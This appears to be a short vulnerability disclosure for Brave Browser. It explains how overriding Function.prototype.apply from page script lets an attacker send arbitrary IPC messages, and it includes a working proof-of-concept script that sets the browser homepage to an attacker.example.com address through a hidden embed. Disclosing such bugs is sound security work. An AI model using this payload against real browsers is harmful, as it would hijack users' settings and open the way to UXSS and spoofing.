Sending arbitrary IPC messages via overriding Function.prototype.apply

Summary: Brave Browser allows to overwrite the internal js code from the user js code. Using this behavior, an attacker can send arbitrary IPC messages and do UXSS, address bar spoofing, changing browser settings and so on. This bug is similar to #187542.

<script>
Function.prototype.apply=function(ipc){
    ipc.send("dispatch-action",'{"actionType":"app-change-setting","key":"general.homepage","value":"http://attacker.example.com/"}');
}
</script>
<div style="visibility:hidden">
<embed src=".swf"></embed>
</div>